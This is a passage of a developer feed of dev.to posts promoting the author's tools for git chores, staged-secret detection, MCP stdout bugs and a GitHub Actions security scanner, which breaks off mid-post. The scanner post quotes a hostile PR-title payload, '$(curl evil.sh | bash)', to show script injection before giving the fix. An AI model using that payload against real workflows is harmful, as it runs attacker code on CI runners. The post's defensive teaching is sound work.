&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Changed&lt;/th&gt;
&lt;th&gt;Run&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;package-lock.json&lt;/code&gt;, &lt;code&gt;yarn.lock&lt;/code&gt;, &lt;code&gt;pnpm-lock.yaml&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;npm ci&lt;/code&gt;, &lt;code&gt;yarn install --frozen-lockfile&lt;/code&gt;, &lt;code&gt;pnpm install --frozen-lockfile&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;poetry.lock&lt;/code&gt;, &lt;code&gt;uv.lock&lt;/code&gt;, &lt;code&gt;requirements*.txt&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;poetry install&lt;/code&gt;, &lt;code&gt;uv sync&lt;/code&gt;, &lt;code&gt;pip install -r ...&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;New files in &lt;code&gt;migrations/&lt;/code&gt;, &lt;code&gt;db/migrate/&lt;/code&gt;, &lt;code&gt;alembic/versions/&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;your framework's migrate command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;New keys in &lt;code&gt;.env.example&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;add them to &lt;code&gt;.env&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;Dockerfile&lt;/code&gt;, &lt;code&gt;compose.yml&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker compose up -d --build&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;.nvmrc&lt;/code&gt;, &lt;code&gt;.tool-versions&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;switch versions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;.gitmodules&lt;/code&gt;, &lt;code&gt;.terraform.lock.hcl&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;git submodule update --init --recursive&lt;/code&gt;, &lt;code&gt;terraform init&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two details save time. Use &lt;code&gt;npm ci&lt;/code&gt;, not &lt;code&gt;npm install&lt;/code&gt;, after someone else changed the lockfile: it installs exactly what the lockfile says. And a &lt;code&gt;package.json&lt;/code&gt; change that only touches &lt;code&gt;scripts&lt;/code&gt; needs no reinstall at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why hooks do not cover it
&lt;/h2&gt;

&lt;p&gt;A &lt;code&gt;post-merge&lt;/code&gt; hook can reinstall for you, but hooks are not cloned (every developer installs them by hand), &lt;code&gt;post-merge&lt;/code&gt; does not fire on &lt;code&gt;checkout&lt;/code&gt;, and they run commands without asking.&lt;/p&gt;

&lt;h2&gt;
  
  
  Let the editor build the list
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=jaytankdev.afterpull" rel="noopener noreferrer"&gt;AfterPull&lt;/a&gt;&lt;/strong&gt;, a free VS Code extension that watches HEAD in every repo in your workspace. When it moves, it diffs old vs new and shows &lt;code&gt;AfterPull: 3 things to do after this pull&lt;/code&gt;, with a panel of chores: dependencies in twelve package managers, new migrations, missing &lt;code&gt;.env&lt;/code&gt; keys (one click appends them, existing keys untouched), container rebuilds, toolchain changes, submodules and Terraform. It is monorepo-aware and each command runs in its own folder.&lt;/p&gt;

&lt;p&gt;Nothing runs on its own: each command starts as a visible task after your click, and "Run all" lists every command first. Your own commits are skipped. No network, no telemetry.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;code --install-extension jaytankdev.afterpull
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Source (MIT): &lt;a href="https://github.com/jay-tank/afterpull" rel="noopener noreferrer"&gt;github.com/jay-tank/afterpull&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full write-up&lt;/strong&gt; (the full checklist, why hooks leak, prior art, limitations, FAQ): &lt;a href="https://jaytank.hashnode.dev/afterpull-what-to-run-after-git-pull" rel="noopener noreferrer"&gt;Your app broke after git pull? The after-pull checklist every team forgets&lt;/a&gt;&lt;/p&gt;

</description>
      <category>git</category>
      <category>vscode</category>
      <category>devops</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Stop committing .env files, node_modules and it.only: check your staged changes before you press Commit</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Tue, 29 Sep 2026 03:31:14 +0000</pubDate>
      <link>https://dev.to/jaytank/stop-committing-env-files-nodemodules-and-itonly-check-your-staged-changes-before-you-press-5bf5</link>
      <guid>https://dev.to/jaytank/stop-committing-env-files-nodemodules-and-itonly-check-your-staged-changes-before-you-press-5bf5</guid>
      <description>&lt;p&gt;You stage everything with one click, type "fix login redirect", commit, push. The next morning the pull request has 4,812 changed files. Or six, and one of them is &lt;code&gt;.env&lt;/code&gt;. Or CI is green because you left &lt;code&gt;it.only(&lt;/code&gt; in a spec and the other 400 tests never ran.&lt;/p&gt;

&lt;p&gt;None of this is hard. It is just that &lt;strong&gt;nothing looked at the git index before the commit happened.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The usual suspects
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Staged by accident&lt;/th&gt;
&lt;th&gt;Why it hurts&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;*.pem&lt;/code&gt;, &lt;code&gt;id_rsa&lt;/code&gt;, &lt;code&gt;credentials.json&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;A pushed secret is a leaked secret: rotate it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tokens in &lt;code&gt;.npmrc&lt;/code&gt; / &lt;code&gt;.pypirc&lt;/code&gt;, &lt;code&gt;*.tfstate&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Publish tokens and plain-text infra secrets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;dump.sql&lt;/code&gt;, big binaries&lt;/td&gt;
&lt;td&gt;Every clone carries them forever&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;node_modules/&lt;/code&gt;, &lt;code&gt;dist/&lt;/code&gt;, &lt;code&gt;.DS_Store&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Thousands of files of review noise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&lt;/code&gt; markers, &lt;code&gt;debugger;&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Broken or frozen code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;it.only(&lt;/code&gt;, &lt;code&gt;fdescribe(&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;The file reports PASS, the rest never runs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is not only a side-project problem: Toyota disclosed in 2022 that a data-server access key had sat in a public GitHub repo for almost five years (&lt;a href="https://www.bleepingcomputer.com/news/security/toyota-discloses-data-leak-after-access-key-exposed-on-github/" rel="noopener noreferrer"&gt;BleepingComputer&lt;/a&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Why hooks are not enough on their own
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;.gitignore&lt;/code&gt; only helps if the pattern exists before you stage, and it cannot see content. Pre-commit hooks are the right gate for teams, but they live in each clone and need setup in every repository. Most repositories you touch in a week do not have one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Already committed it?
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git restore &lt;span class="nt"&gt;--staged&lt;/span&gt; .env          &lt;span class="c"&gt;# still only staged&lt;/span&gt;
git &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;--cached&lt;/span&gt; .env &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;".env"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; .gitignore
git commit &lt;span class="nt"&gt;--amend&lt;/span&gt; &lt;span class="nt"&gt;--no-edit&lt;/span&gt;       &lt;span class="c"&gt;# committed, not pushed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If it was pushed: &lt;strong&gt;rotate the secret first&lt;/strong&gt;, then clean history with &lt;code&gt;git filter-repo&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catch it while it is staged
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=jaytankdev.commitsieve" rel="noopener noreferrer"&gt;CommitSieve&lt;/a&gt;&lt;/strong&gt;, a free VS Code extension that checks the staged changes of every repository in your workspace, live, with zero setup. The status bar shows &lt;code&gt;CommitSieve: 3 issues&lt;/code&gt; the moment you stage something, each finding has Unstage and Add to .gitignore buttons, and content findings land in the Problems panel.&lt;/p&gt;

&lt;p&gt;It only looks at lines your staged diff adds, leaves directories that already exist in &lt;code&gt;HEAD&lt;/code&gt; alone, and knows that &lt;code&gt;model.fit(&lt;/code&gt; is not a focused test. No network, no telemetry, hardened git calls. It warns rather than blocks (VS Code has no commit hook API), so keep a hook or CI scanner as the hard gate.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;code --install-extension jaytankdev.commitsieve
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Source (MIT): &lt;a href="https://github.com/jay-tank/commitsieve" rel="noopener noreferrer"&gt;github.com/jay-tank/commitsieve&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full write-up&lt;/strong&gt; (all 13 rules, cleanup for every case, limitations, FAQ): &lt;a href="https://jaytank.hashnode.dev/commitsieve-stop-committing-env-files-vscode" rel="noopener noreferrer"&gt;Stop committing .env files, node_modules and it.only&lt;/a&gt;&lt;/p&gt;

</description>
      <category>git</category>
      <category>vscode</category>
      <category>security</category>
      <category>devops</category>
    </item>
    <item>
      <title>One console.log disconnects your MCP server: the stdout bug every stdio server author hits</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Mon, 28 Sep 2026 03:46:40 +0000</pubDate>
      <link>https://dev.to/jaytank/one-consolelog-disconnects-your-mcp-server-the-stdout-bug-every-stdio-server-author-hits-4l78</link>
      <guid>https://dev.to/jaytank/one-consolelog-disconnects-your-mcp-server-the-stdout-bug-every-stdio-server-author-hits-4l78</guid>
      <description>&lt;p&gt;You add a tool to your MCP server, restart the client, and instead of an answer you get:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MCP error -32000: Connection closed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nine times out of ten, the cause is one debug line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;registerTool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;add&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;adding numbers&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// &amp;lt;- this disconnects the client&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}]&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why it breaks
&lt;/h2&gt;

&lt;p&gt;With the &lt;strong&gt;stdio&lt;/strong&gt; transport, the client talks to your server through its stdin and stdout. Every byte on stdout is parsed as the next JSON-RPC message. The &lt;a href="https://modelcontextprotocol.io/specification/2026-07-28/basic/transports/stdio" rel="noopener noreferrer"&gt;MCP spec&lt;/a&gt; says it plainly: the server &lt;strong&gt;must not&lt;/strong&gt; write anything to stdout that is not a valid MCP message. Your log line lands in the middle of the stream, parsing fails, and the client drops the connection.&lt;/p&gt;

&lt;p&gt;Logging to &lt;strong&gt;stderr&lt;/strong&gt; is allowed and safe.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Instead of&lt;/th&gt;
&lt;th&gt;Use&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;console.log(x)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;console.error(x)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;process.stdout.write(s)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;process.stderr.write(s)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;print(x)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;print(x, file=sys.stderr)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pino()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pino({}, pino.destination(2))&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;logging.basicConfig(stream=sys.stdout)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;leave &lt;code&gt;stream&lt;/code&gt; out (stderr is the default)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Why it keeps shipping
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Running the server by hand in a terminal looks fine, so a quick test passes.&lt;/li&gt;
&lt;li&gt;The write is often in a &lt;strong&gt;helper module&lt;/strong&gt; the server imports, not in the server file.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;console.info&lt;/code&gt; and &lt;code&gt;console.debug&lt;/code&gt; also go to stdout, and so do pino and winston's Console transport by default.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Real examples: &lt;a href="https://github.com/espressif/esp-idf/issues/19087" rel="noopener noreferrer"&gt;esp-idf#19087&lt;/a&gt;, &lt;a href="https://github.com/yamadashy/repomix/issues/1866" rel="noopener noreferrer"&gt;repomix#1866&lt;/a&gt;, &lt;a href="https://github.com/HaithamOumerzoug/keycloak-mcp/issues/6" rel="noopener noreferrer"&gt;keycloak-mcp#6&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catch it in the editor
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=jaytankdev.stdiolint" rel="noopener noreferrer"&gt;StdioLint&lt;/a&gt;&lt;/strong&gt;, a free VS Code extension that flags stdout writes in stdio MCP servers (JS, TS and Python) as you type. It follows the modules your server imports, ignores HTTP/SSE servers and ordinary scripts, and its Quick Fix moves the output to stderr instead of deleting it. No network, no telemetry.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;code &lt;span class="nt"&gt;--install-extension&lt;/span&gt; jaytankdev.stdiolint
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Source (MIT): &lt;a href="https://github.com/jay-tank/stdiolint" rel="noopener noreferrer"&gt;github.com/jay-tank/stdiolint&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full write-up&lt;/strong&gt; (all four rules, Python/FastMCP examples, what ESLint &lt;code&gt;no-console&lt;/code&gt; misses, FAQ): &lt;a href="https://jaytank.hashnode.dev/stdiolint-mcp-server-stdout-console-log" rel="noopener noreferrer"&gt;One console.log disconnects your MCP server&lt;/a&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>vscode</category>
      <category>ai</category>
      <category>typescript</category>
    </item>
    <item>
      <title>I wanted a zero-config Actions security scanner, so I built one: actionward</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Tue, 08 Sep 2026 05:02:01 +0000</pubDate>
      <link>https://dev.to/jaytank/i-wanted-a-zero-config-actions-security-scanner-so-i-built-one-actionward-d3j</link>
      <guid>https://dev.to/jaytank/i-wanted-a-zero-config-actions-security-scanner-so-i-built-one-actionward-d3j</guid>
      <description>&lt;p&gt;Most of my GitHub Actions workflows are three steps long. They still manage to&lt;br&gt;
be one of the softest spots in a repo: a stray &lt;code&gt;${{ github.event.* }}&lt;/code&gt; in a&lt;br&gt;
&lt;code&gt;run:&lt;/code&gt; block, a token with &lt;code&gt;write-all&lt;/code&gt;, an action pinned to a mutable tag. The&lt;br&gt;
tools that catch this stuff tend to be heavy - org-scoped policy engines, a&lt;br&gt;
SaaS dashboard, something that wants a token and a network round-trip before it&lt;br&gt;
tells me anything.&lt;/p&gt;

&lt;p&gt;I just wanted a binary I could drop into any repo and run offline. No account,&lt;br&gt;
no config, no credentials leaving my laptop. That itch became &lt;strong&gt;actionward&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This is the fast, hands-on tour: install it, run it, read a real finding, fix&lt;br&gt;
two concrete vulnerabilities, then wire it into CI.&lt;/p&gt;
&lt;h2&gt;
  
  
  What it is (in one breath)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;actionward&lt;/code&gt; is a single Go binary that statically analyzes the workflow files&lt;br&gt;
under &lt;code&gt;.github/workflows/&lt;/code&gt;. It makes &lt;strong&gt;no network calls and reads no&lt;br&gt;
credentials&lt;/strong&gt;. It ships &lt;strong&gt;14 rules&lt;/strong&gt; and, for each finding, tells you &lt;em&gt;why&lt;/em&gt; it&lt;br&gt;
matters and &lt;em&gt;how&lt;/em&gt; to fix it. Output is text, JSON, or &lt;strong&gt;SARIF v2.1.0&lt;/strong&gt; for&lt;br&gt;
GitHub code-scanning.&lt;/p&gt;
&lt;h2&gt;
  
  
  Install and run
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/jay-tank/actionward
&lt;span class="nb"&gt;cd &lt;/span&gt;actionward
go build &lt;span class="nt"&gt;-o&lt;/span&gt; actionward ./cmd/actionward

&lt;span class="c"&gt;# scan the current repo&lt;/span&gt;
./actionward scan &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That's the whole setup. Point it at a directory (or a single workflow file) and&lt;br&gt;
it prints findings. Here's the shape of a real one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HIGH  script-injection  .github/workflows/pr.yml:14
  Untrusted input `github.event.pull_request.title` is interpolated directly
  into a run script and can execute arbitrary shell.
  Fix: pass the value through an `env:` block and reference it as "$TITLE".
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rationale plus remediation, right in the output. Now let's actually fix things.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix #1 - script injection
&lt;/h2&gt;

&lt;p&gt;The classic. You interpolate an attacker-controllable field straight into a&lt;br&gt;
shell command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BEFORE - actionward: HIGH script-injection&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Greet&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "Thanks for the PR&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.title }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A PR title of &lt;code&gt;$(curl evil.sh | bash)&lt;/code&gt; runs on your runner. The fix is to move&lt;br&gt;
the value into the environment, where the shell treats it as data, not code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AFTER - clean&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Greet&lt;/span&gt;
  &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;TITLE&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.title }}&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "Thanks for the PR&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s"&gt;$TITLE"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;actionward also flags the sneakier variant of this rule: writing untrusted&lt;br&gt;
input into &lt;code&gt;$GITHUB_ENV&lt;/code&gt;, which can smuggle values into later steps.&lt;/p&gt;
&lt;h2&gt;
  
  
  Fix #2 - least privilege for the token
&lt;/h2&gt;

&lt;p&gt;By default a lot of workflows inherit a broad &lt;code&gt;GITHUB_TOKEN&lt;/code&gt;. This one asks for&lt;br&gt;
everything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BEFORE - actionward: HIGH write-all-permissions&lt;/span&gt;
&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write-all&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If any step is compromised, so is your whole repo. Scope it down to exactly what&lt;br&gt;
the job needs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AFTER - least privilege&lt;/span&gt;
&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The permissions rules also cover unscoped tokens and risky OIDC configurations -&lt;br&gt;
same principle, grant the minimum.&lt;/p&gt;
&lt;h2&gt;
  
  
  Fix #3 - pin your actions
&lt;/h2&gt;

&lt;p&gt;Referencing an action by a moving tag means whatever &lt;code&gt;@v4&lt;/code&gt; points to today can&lt;br&gt;
change under you tomorrow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BEFORE - actionward: MEDIUM unpinned-action&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pin to an immutable commit SHA (a full-length pin is the safe form):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AFTER - pinned&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683&lt;/span&gt; &lt;span class="c1"&gt;# v4.2.2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Other rules in the set worth knowing about: risky checkouts under&lt;br&gt;
&lt;code&gt;pull_request_target&lt;/code&gt; / &lt;code&gt;workflow_run&lt;/code&gt;, cache poisoning, &lt;code&gt;curl | bash&lt;/code&gt;, secrets&lt;br&gt;
hardcoded in &lt;code&gt;run:&lt;/code&gt;, secrets leaking through uploaded artifacts, self-hosted&lt;br&gt;
runners on public repos, and &lt;code&gt;continue-on-error&lt;/code&gt; slapped on a security step so&lt;br&gt;
it never actually blocks anything.&lt;/p&gt;
&lt;h2&gt;
  
  
  Wire it into CI
&lt;/h2&gt;

&lt;p&gt;The real payoff is failing a PR before the risky workflow merges. actionward&lt;br&gt;
ships a composite Action that emits SARIF, so findings show up in the repo's&lt;br&gt;
&lt;strong&gt;Security → Code scanning&lt;/strong&gt; tab:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
